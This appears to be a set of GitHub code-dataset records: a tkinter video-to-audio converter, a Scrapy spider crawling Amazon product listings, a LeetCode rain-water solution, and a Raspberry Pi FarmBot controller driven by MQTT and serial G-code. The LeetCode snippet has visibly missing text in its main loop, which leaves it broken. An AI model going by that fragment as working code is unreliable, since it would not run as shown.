"usage_type": "call"}, {"api_name": "pygame.event", "line_number": 74, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 75, "usage_type": "attribute"}, {"api_name": "pygame.key.get_pressed", "line_number": 79, "usage_type": "call"}, {"api_name": "pygame.key", "line_number": 79, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 98, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 98, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 113, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 113, "usage_type": "attribute"}, {"api_name": "pygame.transform.rotozoom", "line_number": 114, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 114, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 117, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 117, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 118, "usage_type": "call"}, {"api_name": "pygame.init", "line_number": 127, "usage_type": "call"}, {"api_name": "pygame.quit", "line_number": 129, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 130, "usage_type": "call"}]} {"seq_id": "25169293580", "text": "import tkinter as tk\nfrom tkinter import *\nfrom turtle import bgcolor\nfrom tkinter.filedialog import askopenfilename,asksaveasfilename\nfrom turtle import width\nimport moviepy.editor as me\n\nfilename=''\n\ndef convert():\n global filename\n filetypes=((\"Audio files\",\"*.mp3 , *.waw , *.ogg\"),(\"All files\",\"*.*\"))\n video=me.VideoFileClip(filename)\n audio=video.audio\n file=asksaveasfilename(filetypes=filetypes)\n audio.write_audiofile(f'{file}{format.get()}')\n label5=Label(root,text=\"Done\",font=(\"Arial\",18),fg=\"gold\")\n label5.pack()\n label5.place(x=450,y=300)\ndef select():\n global filename\n filetypes = (\n ('video files', '*.WEBM , *.MPG, *.MP2 , *.MPEG , *.MPE , *.MPV , *.MP4 , *.M4P , *.M4V , *.AVI , *.WMV , *.MOV , *.QT , *.FLV , *.SWF , *.AVCHD'),\n ('All files', '*.*')\n )\n filename=askopenfilename(filetypes=filetypes)\n label3.config(text=\"File Selected\",fg=\"green\",background = \"black\")\n label4=Label(root,text=\"Select Audio format :-\",font=(\"Arial\",18,),fg =\"dark goldenrod\" , background= \"black\")\n label4.pack()\n label4.place(x=100,y=460)\n options=[\".mp3\",\".ogg\",\".wav\"]\n format.set(\".mp3\")\n menu=OptionMenu(root,format,*options)\n menu[\"bg\"] = \"dark goldenrod\" \n menu.pack()\n menu.place(x=350,y=460)\n button3=Button(root,text=\"Export\",font=(\"Harlow Solid\",14,\"bold\"),command=convert,width=20,height=1,background=\"dark goldenrod\")\n button3.pack()\n button3.place(x=110,y=530)\n button4=Button(root,text=\"Quit\",font=(\"Harlow Solid\",14 ,\"bold\"),command=quit,width=20,height=1,background=\"dark goldenrod\")\n button4.pack()\n button4.place(x=110,y=580)\n\nroot=Tk()\nroot.geometry(\"455x650\")\nroot.minsize(455,650)\nroot.maxsize(455,650)\nroot[\"bg\"] = \"black\"\nphoto = PhotoImage(file=\"logo.png\")\nnew_label = Label(image=photo)\nnew_label[\"bg\"] = \"black\"\nnew_label.pack()\n\nlabel2=Label(root,text=\"Select Video file to Convert\",font=(\"Arial\",16),fg = \"dark goldenrod\" , background = \"black\")\nlabel2.pack()\nlabel2.place(x=105,y=330)\nbutton1=Button(root,text=\"Select\",font=(\"Harlow Solid\",14,\"bold\"),command=select,width=20,height=1,background=\"dark goldenrod\")\nbutton1.pack()\nbutton1.place(x=110,y=365)\n\nlabel3=Label(root,font=(\"Footlight MT\",18,\"bold\"))\nlabel3[\"bg\"] = \"black\"\nlabel3.pack()\nlabel3.place(x=150,y=410)\nformat=StringVar()\nroot.mainloop()\n\n\nroot.mainloop()\n\n\n", "repo_name": "yuvrajsinghgndec/Project", "sub_path": "videotoaudio converter.py", "file_name": "videotoaudio converter.py", "file_ext": "py", "file_size_in_byte": 2397, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "moviepy.editor.VideoFileClip", "line_number": 13, "usage_type": "call"}, {"api_name": "moviepy.editor", "line_number": 13, "usage_type": "name"}, {"api_name": "tkinter.filedialog.asksaveasfilename", "line_number": 15, "usage_type": "call"}, {"api_name": "tkinter.filedialog.askopenfilename", "line_number": 26, "usage_type": "call"}]} {"seq_id": "21908475573", "text": "# -*- coding: utf-8 -*-\nimport scrapy\nfrom urllib import parse\nfrom AmazonCrapy.items import AsinBestItem\nfrom AmazonCrapy.items import TypeItem\nimport re\nfrom urllib import parse\n\nclass ListspiderSpider(scrapy.Spider):\n name = 'listspider'\n\n def __init__(self,*args, **kwargs):\n super(ListspiderSpider, self).__init__(*args, **kwargs)\n # self.start_urls = [parse.unquote(url)]\n\n def start_requests(self):\n types=[\"digital-tex\",\"digital-music\",\"instant-video\",\"stripbooks-intl-ship\",\"baby-products-intl-ship\",\"arts-crafts-intl-ship\",\"automotive-intl-ship\",\"electronics-intl-ship\",\"beauty-intl-ship\",\"computers-intl-ship\",\"fashion-womens-intl-ship\",\"fashion-mens-intl-ship\",\"fashion-girls-intl-ship\",\"fashion-boys-intl-ship\",\"hpc-intl-ship\",\"pets-intl-ship\",\"kitchen-intl-ship\",\"industrial-intl-ship\",\"tools-intl-ship\",\"movies-tv-intl-ship\",\"toys-and-games-intl-ship\",\"luggage-intl-ship\",\"videogames-intl-ship\",\"software-intl-ship\",\"sporting-intl-ship\",\"deals-intl-ship\",\"music-intl-ship\"]\n urls = self.start_urls\n print(urls)\n for type in types:\n tmpurl=\"https://www.amazon.com/s?i=\"+type\n yield scrapy.Request(url=tmpurl, callback=self.parse_keyword)\n\n # turl=\"https://www.amazon.com/Cases-Storage-Accessories/s?rh=n%3A14218851&page=4\"\n # yield scrapy.Request(url=turl, callback=self.parse_page,meta = {'allType' :\"fuck\"})\n\n\n def transferContent(self,content):\n if content is None:\n return None\n else:\n string = \"\"\n for c in content:\n if c == '\"':\n string += '\\\\\\\"'\n elif c == \"'\":\n string += \"\\\\\\'\"\n elif c == \"\\\\\":\n string += \"\\\\\\\\\"\n else:\n string += c\n return string\n #https://www.amazon.com/s?i=pets-intl-ship\n #关键字类别解析\n def Data_asinDeocede(self,response,allType):\n nowtype = response.css('.a-list-item').css('.a-text-bold::text').extract()[0]\n print(nowtype)\n list = response.css('[data-asin]')\n print(len(list))\n items=[]\n for row in list:\n try:\n asin=row.css('[data-asin]::attr(data-asin)').extract()[0]\n # print(asin)\n tmpstar = row.css('.a-icon-alt::text').extract()\n if len(tmpstar)>0:\n star=tmpstar[0]\n else:\n star=\"Empty\"\n # print(\"star获取完成\")\n tmpname = row.css('.a-spacing-top-small').css('.a-link-normal').css('.a-size-base-plus::text').extract()\n if len(tmpname)>0:\n name=tmpname[0]\n else:\n # print(\"找不到name\")\n tmpname2 = row.css('.a-spacing-mini').css('.a-link-normal').css(\n '.a-size-base::text').extract()\n # print(tmpname2)\n if len(tmpname2)>0:\n name = tmpname2[0]\n else:\n tmpname3 = row.css('.a-size-mini').css('.a-link-normal').css(\n '.a-size-medium::text').extract()\n if len(tmpname3)>0:\n name = tmpname3[0]\n else:\n print(\"找不到name\")\n name = tmpname3[0]\n # print(name)\n # print(\"name获取完成\")\n\n tmpsellnum = row.css('.a-spacing-top-micro').css('.a-size-small').css('.a-size-base::text').extract()\n if len(tmpsellnum)>0:\n sellnum=tmpsellnum[0]\n else:\n # print(\"找不到sellnum\")\n row2=row.css('.a-row')\n relrow=None\n for tmprow in row2:\n if len(tmprow.css('[name]'))>0:\n relrow=tmprow\n break\n # print(relrow)\n if relrow!=None:\n tmpsellnum2 = relrow.css('.a-size-small::text').extract()\n # print(tmpsellnum2)\n sellnum=tmpsellnum2[0]\n # print(sellnum)\n else:\n sellnum = \"None Review\"\n\n # print(\"sellnum获取完成\")\n price=\"stockout\"\n\n offscreen = row.css('.a-offscreen::text').extract()\n if len(offscreen)>0:\n price=offscreen[0]\n # print(\"price获取完成\")\n imgurl = row.css('[alt]::attr(src)').extract()[0]\n # print(\"imgurl获取完成\")\n except Exception as e:\n print(e)\n continue\n pass\n item = AsinBestItem()\n\n item['asin'] = asin\n item['name'] = name\n item['star'] = star\n item['reviewNum'] = sellnum\n item['price'] = price\n item['imgurl'] = imgurl\n item['allType'] = allType\n print(\"获取完成:\"+name)\n items.append(item)\n return items\n\n def parse_keyword(self,response):\n\n # print(\"获取到的内容为\")\n # print(response.body)\n # filename = \"test.html\"\n # with open(filename, \"wb\")as f:\n # f.write(response.body)\n try:\n # print(response.url)\n nowtype=response.css('.a-list-item').css('.a-text-bold::text').extract()[0]\n print(nowtype)\n pagnDisabled=response.css('.pagnDisabled::text').extract()[0]\n print(\"最大页数\"+pagnDisabled)\n listitem = response.css('.a-unordered-list').css('.a-list-item')\n if pagnDisabled==\"400\":\n for tmp in listitem:\n tmparr=tmp.css(\".s-ref-text-link::attr(href)\").extract()\n tmptype=tmp.css(\".s-ref-text-link\").css(\".a-size-small::text\").extract()\n # print(tmparr)\n # print(tmptype)\n if len(tmparr)>0:\n for i in range(0,len(tmparr)):\n if \"www.amazon.com\"in tmparr[i]:\n tItem=TypeItem()\n tItem['fatherType']=nowtype\n tItem['fatherAllType'] = \"_\"+nowtype\n tItem['sonType'] = tmptype[i]\n yield tItem\n print(\"开始访问\"+tmparr[i])\n yield scrapy.Request(tmparr[i], callback=self.parse_keyword2, meta = {'fathAllType' : tItem['fatherAllType']+\"_\"+tItem['sonType']})\n # break\n # break\n except Exception as e:\n # items=self.Data_asinDeocede(response,\"null\")\n # for item in items:\n # yield item\n pass\n\n\n\n #筛选二级目录\n def parse_keyword2(self, response):\n # print(\"获取到的内容为\")\n # print(response.body)\n # filename = \"test.html\"\n # with open(filename, \"wb\")as f:\n # f.write(response.body)\n fathAllType=response.meta['fathAllType']\n print(\"接受到上层传来的数据：\"+fathAllType)\n bb = True\n pagnDisabled=0\n try:\n nowtype = response.css('.a-list-item').css('.a-text-bold::text').extract()[0]\n print(nowtype)\n pagnDisabled = response.css('.pagnDisabled::text').extract()[0]\n print(\"最大页数\" + pagnDisabled)\n listitem = response.css('.s-ref-indent-two')\n print(len(listitem))\n # if pagnDisabled == \"400\":\n\n for tmp in listitem:\n tmparr = tmp.css(\".s-ref-text-link::attr(href)\").extract()\n tmptype = tmp.css(\".s-ref-text-link\").css(\".a-size-small::text\").extract()\n if len(tmparr) > 0:\n for i in range(0,len(tmparr)):\n bb=False\n tItem = TypeItem()\n tItem['fatherType'] = nowtype\n tItem['fatherAllType'] =fathAllType\n tItem['sonType'] = tmptype[i]\n yield tItem\n print(\"开始访问\" + tmparr[i])\n yield scrapy.Request(tmparr[i], callback=self.parse_keyword2,meta = {'fathAllType' : tItem['fatherAllType']+\"_\"+tItem['sonType']})\n # break\n # break\n except Exception as e:\n # items = self.Data_asinDeocede(response)\n # for item in items:\n # yield item\n bb=False\n if bb:\n print(\"解码当前目录\")\n urls=response.css('.pagnLink').css('a::attr(href)').extract()[0]\n print(urls)\n pat=\"&page=2\"\n for i in range(1,int(pagnDisabled)+1):\n tmpurl=urls.replace(pat,\"&page=\"+str(i))\n print(tmpurl)\n yield scrapy.Request(\"https://www.amazon.com\"+tmpurl, callback=self.parse_page,meta = {'allType' : fathAllType})\n\n #目录页信息提取\n # def parse_directory(self, response):\n # print(\"获取到的内容为\")\n # print(response.body)\n # filename = \"test.html\"\n # with open(filename,\"wb\")as f:\n # f.write(response.body)\n # fsdDeptBox=response.css('.fsdDeptBox')\n # i=0\n # print(len(fsdDeptBox))\n # for fsdDeptCol in fsdDeptBox:\n # tmparr=fsdDeptCol.css(\".fsdDeptLink::attr(href)\").extract()\n # print(\"切换下一个类型\")\n # print(\"------------------------------------------------------------------\")\n # if len(tmparr)>0:\n # for url in tmparr:\n # print(\"https://www.amazon.com\"+url)\n\n #https://www.amazon.com/Dry-Food/s?rh=n%3A2975360011&page=2\n #最低品类页面解析\n def parse_page(self, response):\n print(\"获取到的内容为\")\n print(response.body)\n filename = \"test.html\"\n with open(filename, \"wb\")as f:\n f.write(response.body)\n allType = response.meta['allType']\n items=self.Data_asinDeocede(response,allType)\n print(\"产品信息长度为:\")\n print(len(items))\n for item in items:\n yield item\n\n\n\n\n def parse(self, response):\n print(\"获取到的内容为\")\n print(response.body)\n NextPage=response.css('.pagnNext::attr(href)').extract()\n\n if len(NextPage)==0:\n NextPage = response.css('.a-last').css('a::attr(href)').extract()\n # print(NextPage)\n if len(NextPage)>0:\n pat='page=(.*)'\n pagenum=int(re.findall(pat,NextPage[0])[0])\n print(pagenum)\n if pagenum<4:\n nexturl=\"https://www.amazon.com\"+NextPage[0]\n print(\"开始访问\"+nexturl)\n yield scrapy.Request(nexturl,callback=self.parse)\n\n list = response.css('[data-asin]')\n print(len(list))\n for row in list:\n try:\n # print(\"Fuck\")\n # print(row)\n # star=row.xpath('//*[@class=\"a-icon-alt\"]').extract()\n # print(star)\n star=row.css('.a-icon-alt::text').extract()[0]\n # print(star)\n name=row.css('.a-spacing-top-small').css('.a-link-normal').css('.a-size-base-plus::text').extract()[0]\n # print(name)\n #.css(\".a-size-base::text\")\n # sellnum = row.css('.a-spacing-top-micro').css('.a-size-small').css('.a-link-normal::text').extract()\n sellnum = row.css('.a-spacing-top-micro').css('.a-size-small').css('.a-size-base::text').extract()\n # print(sellnum)\n #.css('.a-row').css('.a-link-normal')\n # price_dw=row.css('.sx-price-currency::text').extract()[0]\n # price_whole=row.css('.sx-price-whole::text').extract()[0]\n # price_fractional = row.css('.sx-price-fractional::text').extract()[0]\n # price=price_dw+price_whole+\".\"+price_fractional\n price=row.css('.a-offscreen').extract()[0]\n # print(price)\n imgurl=row.css('[alt]::attr(src)').extract()[0]\n # print(imgurl)\n except Exception as e:\n print(e)\n continue\n pass\n\n item = AsinBestItem()\n item['name'] = name.replace(\"\\n\", \"\")\n item['star'] = star\n item['sellnum'] = sellnum\n item['price'] = price\n item['imgurl'] = imgurl\n print(\"获取完成\")\n yield item\n", "repo_name": "richor1042/AmazonSpider", "sub_path": "spiders/listspider.py", "file_name": "listspider.py", "file_ext": "py", "file_size_in_byte": 13014, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "scrapy.Spider", "line_number": 9, "usage_type": "attribute"}, {"api_name": "scrapy.Request", "line_number": 22, "usage_type": "call"}, {"api_name": "AmazonCrapy.items.AsinBestItem", "line_number": 115, "usage_type": "call"}, {"api_name": "AmazonCrapy.items.TypeItem", "line_number": 151, "usage_type": "call"}, {"api_name": "scrapy.Request", "line_number": 157, "usage_type": "call"}, {"api_name": "AmazonCrapy.items.TypeItem", "line_number": 194, "usage_type": "call"}, {"api_name": "scrapy.Request", "line_number": 200, "usage_type": "call"}, {"api_name": "scrapy.Request", "line_number": 216, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 264, "usage_type": "call"}, {"api_name": "scrapy.Request", "line_number": 269, "usage_type": "call"}, {"api_name": "AmazonCrapy.items.AsinBestItem", "line_number": 301, "usage_type": "call"}]} {"seq_id": "37752368303", "text": "from typing import List\nfrom queue import LifoQueue, Queue\n\n\nclass Solution:\n def trap(self, height: List[int]) -> int:\n stack_l = LifoQueue()\n stack_r = Queue()\n ans = 0\n i =0\n last_lvl = 0\n while iheight[i+1]:\n stack_l.put(i)\n i+=1\n continue\n last_lvl=height[i]\n if height[i]= height[r]:\n stack_l.put(l)\n break\n stack_l.put(i)\n return ans\n\n\n\n\nif __name__ == '__main__':\n print(Solution().trap([6,4,2,0,3,2,0,3,1,4,5,3,2,7,5,3,0,1,2,1,3,4,6,8,1,3]))\n\n", "repo_name": "MotasemAbuAhmad/LeetCode_Solutions", "sub_path": "42. Trapping Rain Water.py", "file_name": "42. Trapping Rain Water.py", "file_ext": "py", "file_size_in_byte": 1067, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.List", "line_number": 6, "usage_type": "name"}, {"api_name": "queue.LifoQueue", "line_number": 7, "usage_type": "call"}, {"api_name": "queue.Queue", "line_number": 8, "usage_type": "call"}]} {"seq_id": "33712397236", "text": "\n#import libraries\nimport logging\n\nimport json\n\nimport logging.handlers\n\nimport paho.mqtt.client as mqtt\n\nimport serverSettings as settings\n\nimport serial\n\nimport RPi.GPIO as GPIO\n\nimport time\n\nimport numpy as np\n\nimport helper\n\n# -------------------------------------------\n\n# Init program\n\n# -------------------------------------------\n \ng_cmd = '0'\ng_absPos = '0'\ndef onMessage(client, userdata, msg):\n payload = msg.payload.decode('utf-8')\n messageDict = json.loads(payload)\n print('Notification received on topic ' + msg.topic + ', ' + payload)\n global g_cmd\n if msg.topic == '/FarmBot/Command/update':\n if messageDict['Update'] == 'Status':\n client.publish(\"/\" + \"FarmBot/CommandStatus\", \"updated status\")\n g_cmd = \"1\"\n \n if msg.topic == '/FarmBot/Command/unalarm':\n if messageDict['Alarm'] == 'Disable':\n mqttClient.publish(\"/\" + \"FarmBot/CommandStatus\", \"Reset Alarm\")\n g_cmd = '2'\n\n if msg.topic == '/FarmBot/Command/Home':\n if messageDict['Home'] == 'Home':\n mqttClient.publish(\"/\" + \"FarmBot/CommandStatus\", \"Return Home\")\n g_cmd = '3'\n \n# New Absolute X Axis\n if msg.topic == '/FarmBot/Command/Absolute':\n global g_absPos\n print(messageDict['absolute_position'])\n if messageDict['CommandType'] == 'AbsoluteMoveX':\n mqttClient.publish(\"/\" + \"FarmBot/CommandStatus\", \"At New Position X\")\n g_absPos = messageDict['absolute_position']\n print(\"Next Line\")\n print(g_absPos)\n g_cmd = '4'\n # Absolute Y Axis\n if messageDict['CommandType'] == 'AbsoluteMoveY':\n mqttClient.publish(\"/\" + \"FarmBot/CommandStatus\", \"At New Position Y\")\n g_absPos = messageDict['absolute_position']\n print(g_absPos)\n g_cmd = '5'\n # Absolute Z Axis\n if messageDict['CommandType'] == 'AbsoluteMoveZ':\n mqttClient.publish(\"/\" + \"FarmBot/CommandStatus\", \"At New Position Z\")\n g_absPos = messageDict['absolute_position']\n print(g_absPos)\n g_cmd = '6'\n\n if msg.topic == '/FarmBot/Command/WaterAll':\n if messageDict['WaterAll'] == 'Enable':\n client.publish(\"/\" + \"FarmBot/CommandStatus\", \"Begin Water All\")\n g_cmd = '7'\n\n\n\n# Create object\nfarmBot = helper.FarmBot()\nstatus = helper.FarmBotStatus()\nstatus2 = helper.FarmBotStatus()\n#mqttComm = helper.MqttComm()\nrPi = helper.Rpi()\nsm = helper.StateMachine()\n\n# Set up a specific logger with our desired output level\nlogger = logging.getLogger('serverProcessor')\nfarmBot.setupLogger(logger, logging)\nlogger.info('Logger Initialized')\n\n#Initialize Serial Connection\nser = serial.Serial(settings.SERIAL_CLIENT, settings.SERIAL_BAUD_RATE,timeout=1)\nser2 = serial.Serial(settings.SERIAL_CLIENT_2, settings.SERIAL_BAUD_RATE, timeout=1)\nlogger.info('Serial Initialized')\n\n# Initialize MQTT, connect to the broker, and start the background thread (loop) that handles MQTT events\nmqttClient = mqtt.Client()\n\nmqttClient.on_connect = helper.onConnect\nmqttClient.on_message = onMessage\nmqttClient.on_publish = helper.onPublish\n\nmqttClient.connect(settings.MQTT_BROKER_IP, settings.MQTT_BROKER_PORT, 60)\n\nmqttClient.loop_start()\n\nlogger.info('Server started')\n\n\n# -------------------------------------------\n\n# Main program\n\n# -------------------------------------------\n\nwhile not sm.Complete:\n\n if sm.State != sm.PrevState:\n sm.EnteringState = True\n sm.PrevState = sm.State\n else:\n sm.EnteringState = False\n\n if sm.State == 0:\n # Invalid sm.State\n if sm.EnteringState:\n logger.info('FarmBot State: Invalid')\n\n elif sm.State == 1:\n # Initializing \n logger.info('FarmBot State: Initializing')\n\n # GPIO Setup\n rPi.pinSetup(GPIO)\n \n # Mqtt setup\n topics = []\n print(\"\\n\")\n topics.append('FarmBot/Command/xAxis')\n topics.append('FarmBot/Command/yAxis')\n topics.append('FarmBot/Command/zAxis')\n topics.append('FarmBot/Command/Home')\n topics.append('FarmBot/Command/Absolute')\n topics.append('FarmBot/Command/unalarm')\n topics.append('FarmBot/Command/update')\n topics.append('FarmBot/Command/WaterAll')\n\n #Create Position Array\n posIndex = 0\n positions = [(28,7), (28, 18), (28, 30), (70, 30), (70, 18), (70, 7), (120, 7), (120, 18), (120, 30)]\n currentPosX = 0\n currentPosY = 0\n\n\n print('Listening on topics:')\n for i in range(len(topics)):\n mqttClient.subscribe(\"/\" + topics[i]);\n print(topics[i])\n logger.info('FarmBot Initialized')\n time.sleep(3)\n sm.State = 2\n\n elif sm.State == 2:\n # Empty read buffer \n if sm.EnteringState:\n logger.info('FarmBot State: Empty Read Buffer')\n\n if farmBot.commandComplete(ser) == 0:\n sm.State = 3\n else:\n print(\"Clearing buffer\") \n\n elif sm.State == 3:\n # Empty read buffer\n if sm.EnteringState:\n logger.info('FarmBot State: Empty Read Buffer')\n\n if farmBot.commandComplete(ser2) == 0:\n sm.State = 10\n else:\n print(\"Clearing buffer\")\n\n elif sm.State == 10:\n if sm.EnteringState == True:\n logger.info('FarmBot State: Waiting for Command')\n sm.PrevState = sm.State\n g_cmd = \"0\"\n g_absPos = \"0\"\n print(\"\\n\")\n print(\"##############################\")\n print(\"Select Command\")\n print(\"##############################\")\n print(\"Command 1: Status\")\n print(\"Command 2: Reset Error\")\n print(\"Command 3: Home\")\n print(\"Command 4: Absolute X Move\")\n print(\"Command 5: Absolute Y Move\")\n print(\"Command 6: Absolute Z Move\")\n print(\"Command 7: Water All\")\n print(\"'exit' to exit program\")\n print(\"##############################\")\n print(\"\\n\")\n\n if settings.MANUAL_MODE: \n g_cmd = raw_input()\n if g_cmd != \"0\": \n print('received', g_cmd)\n #Status\n if g_cmd == \"1\":\n sm.State = 21\n elif g_cmd == \"2\":\n sm.State = 22 \n elif g_cmd == \"3\": \n sm.State = 23\n elif g_cmd == \"4\":\n sm.State = 24\n elif g_cmd == \"5\":\n sm.State = 25\n elif g_cmd == \"6\":\n sm.State = 26\n elif g_cmd == \"7\":\n sm.State = 40\n elif g_cmd == \"exit\":\n sm.Complete = True\n elif g_cmd != \"0\":\n print(\"Invalid Input\", g_cmd)\n\n elif sm.State == 21:\n # Status Update\n if sm.EnteringState == True:\n logger.info('FarmBot State: Status Update')\n ser.write('?\\r') \n print('message sent')\n sm.Done = False\n \n if not sm.Done:\n if status.ok:\n print('Command Complete')\n sm.Done = True\n sm.State = 10\n elif status.NothingToRead:\n print('Serial Failed to Read')\n sm.Done = True\n sm.State = 10\n else:\n print('Processing Command')\n \n elif sm.State == 22:\n # Reset Error\n if sm.EnteringState:\n logger.info('FarmBot State: Reset Error')\n ser.write('$X\\r')\n ser2.write('$X\\r')\n print('message sent')\n sm.Done = False\n if not sm.Done:\n if status.ok:\n print('Command Complete')\n sm.Done = True\n sm.State = 10\n elif status.NothingToRead:\n print('Serial Failed to Read')\n sm.Done = True\n sm.State = 10\n else:\n print('Processing Command')\n\n elif sm.State == 23:\n # Home FarmBot\n if sm.EnteringState:\n logger.info('FarmBot State: Homing')\n GPIO.output(19, GPIO.LOW)\n ser.write('$H\\r')\n ser2.write('$H\\r')\n print('message sent')\n sm.Done = False\n\n if not sm.Done:\n if status.ok and status2.ok:\n print('Command Complete')\n sm.Done = True\n sm.State = 10\n elif status.NothingToRead or status2.NothingToRead:\n print('Serial Failed to Read')\n sm.Done = True\n sm.State = 10\n else:\n print('Processing Command')\n \n elif sm.State == 24:\n # Absolute Move X\n if sm.EnteringState:\n logger.info('FarmBot State: Absolute Move X')\n if int(g_absPos) > 0:\n command_string = \"G0 X-\"+g_absPos+\"Y-\"+g_absPos+\"\\r\"\n ser.write(command_string) \n print('message sent', command_string)\n sm.Done = False\n else:\n print(\"Invalid Move Position\")\n sm.Done = True\n \n if not sm.Done:\n if status.ok:\n print('Command Complete')\n sm.Done = True\n sm.State = 10\n elif status.NothingToRead:\n print('Serial Failed to Read')\n sm.Done = True\n sm.State = 10\n else:\n print('Processing Command')\n\n elif sm.State == 25:\n # Absolute Move Y\n if sm.EnteringState:\n logger.info('FarmBot State: Absolute Move Y')\n if int(g_absPos) > 0:\n command_string = \"G0 Z-\" + g_absPos + \"\\r\"\n ser.write(command_string)\n print('message sent', command_string)\n sm.Done = False\n else:\n print(\"Invalid Move Position\")\n sm.Done = True\n\n if not sm.Done:\n if status.ok:\n print('Command Complete')\n sm.Done = True\n sm.State = 10\n elif status.NothingToRead:\n print('Serial Failed to Read')\n sm.Done = True\n sm.State = 10\n else:\n print('Processing Command')\n\n elif sm.State == 26:\n # Absolute Move Z\n if sm.EnteringState:\n logger.info('FarmBot State: Absolute Move Z')\n if int(g_absPos) > 0:\n command_string = \"G0 Z-\" + g_absPos + \"\\r\"\n ser2.write(command_string)\n print('message sent', command_string)\n sm.Done = False\n else:\n print(\"Invalid Move Position\")\n sm.Done = True\n\n if not sm.Done:\n if status2.ok:\n print('Command Complete')\n sm.Done = True\n sm.State = 10\n elif status2.NothingToRead:\n print('Serial Failed to Read')\n sm.Done = True\n sm.State = 10\n else:\n print('Processing Command')\n\n\n\n \n elif sm.State == 40:\n # Water All plants\n if sm.EnteringState:\n print(\"40\")\n posX = positions[posIndex][0]\n posY = positions[posIndex][1]\n print(posIndex,posX,posY)\n if currentPosX == posX:\n sm.State = 41\n else:\n logger.info('FarmBot State: Water All')\n ser.write('G0 X-' + str(posX) + ' Y-' + str(posX) + '\\r')\n \n if status.Run:\n sm.State = 41\n else:\n print(\"Waiting for Move to Start\")\n \n elif sm.State == 41:\n if sm.EnteringState:\n print('41')\n if status.Idle:\n sm.State = 42\n \n elif sm.State == 42:\n if sm.EnteringState:\n print('42')\n if currentPosY == posY:\n sm.State = 43\n else:\n ser.write('G0 Z-' + str(posY) + '\\r')\n if status.Run:\n sm.State = 43\n else:\n print(\"Waiting for Move to Start\")\n \n elif sm.State == 43:\n if sm.EnteringState:\n print('43')\n if status.Idle:\n sm.State = 44\n else:\n print(\"Moving\")\n \n elif sm.State == 44:\n if sm.EnteringState:\n print('44')\n ser2.write('G0 Z-9\\r')\n if status2.Run:\n sm.State = 45\n else:\n print(\"Waiting for Move to Start\")\n \n elif sm.State == 45:\n if sm.EnteringState:\n print('45')\n if status2.Idle:\n sm.State = 46\n \n elif sm.State == 46:\n if sm.EnteringState:\n print('46')\n count = 0\n GPIO.output(19, GPIO.HIGH)\n if count >= 66:\n GPIO.output(19, GPIO.LOW)\n sm.State = 47\n else:\n count = count + 1\n \n elif sm.State == 47:\n if sm.EnteringState:\n print('47')\n ser2.write('G0 Z-6\\r')\n if status2.Run:\n sm.State = 48\n else:\n print(\"Waiting or Move to Start\")\n \n elif sm.State == 48:\n if sm.EnteringState:\n print('48')\n \n if status2.Idle:\n if posIndex == 8:\n posIndex = 0\n sm.State = 10\n currentPosX = 0\n currentPosY = 0\n else:\n currentPosX = posX\n currentPosY = posY\n posIndex = posIndex + 1\n sm.State = 40\n else:\n print(\"Waiting for move to complete\")\n\n elif sm.State == 100:\n # error sm.State\n if sm.EnteringState:\n logger.warning('FarmBot State: Error')\n \n else:\n print('FarmBot in unkown sm.State')\n logger.warning('FarmBot State: Unknown')\n \n # Update Status\n farmBot.updateStatus(status, sm.State, ser, \"1\")\n farmBot.updateStatus(status2, sm.State, ser2, \"2\")\n time.sleep(.05)\n\n# Stops and disconnects the client if Done\n\nmqttClient.disconnect()\n\nmqttClient.loop_stop()\n\n\n\nlogger.info('Server stopped')\n \n \n \n", "repo_name": "pdifurio/Farmbot", "sub_path": "scripts/ServerProcessor/serverProcessor.py", "file_name": "serverProcessor.py", "file_ext": "py", "file_size_in_byte": 14324, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "json.loads", "line_number": 33, "usage_type": "call"}, {"api_name": "helper.FarmBot", "line_number": 82, "usage_type": "call"}, {"api_name": "helper.FarmBotStatus", "line_number": 83, "usage_type": "call"}, {"api_name": "helper.FarmBotStatus", "line_number": 84, "usage_type": "call"}, {"api_name": "helper.Rpi", "line_number": 86, "usage_type": "call"}, {"api_name": "helper.StateMachine", "line_number": 87, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 90, "usage_type": "call"}, {"api_name": "serial.Serial", "line_number": 95, "usage_type": "call"}, {"api_name": "serverSettings.SERIAL_CLIENT", "line_number": 95, "usage_type": "attribute"}, {"api_name": "serverSettings.SERIAL_BAUD_RATE", "line_number": 95, "usage_type": "attribute"}, {"api_name": "serial.Serial", "line_number": 96, "usage_type": "call"}, {"api_name": "serverSettings.SERIAL_CLIENT_2", "line_number": 96, "usage_type": "attribute"}, {"api_name": "serverSettings.SERIAL_BAUD_RATE", "line_number": 96, "usage_type": "attribute"}, {"api_name": "paho.mqtt.client.Client", "line_number": 100, "usage_type": "call"}, {"api_name": "paho.mqtt.client", "line_number": 100, "usage_type": "name"}, {"api_name": "helper.onConnect", "line_number": 102, "usage_type": "attribute"}, {"api_name": "helper.onPublish", "line_number": 104, "usage_type": "attribute"}, {"api_name": "serverSettings.MQTT_BROKER_IP", "line_number": 106, "usage_type": "attribute"}, {"api_name": "serverSettings.MQTT_BROKER_PORT", "line_number": 106, "usage_type": "attribute"}, {"api_name": "RPi.GPIO", "line_number": 137, "usage_type": "argument"}, {"api_name": "time.sleep", "line_number": 163, "usage_type": "call"}, {"api_name": "serverSettings.MANUAL_MODE", "line_number": 207, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.output", "line_number": 275, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 275, "usage_type": "name"}, {"api_name": "RPi.GPIO.LOW", "line_number": 275, "usage_type": "attribute"}, 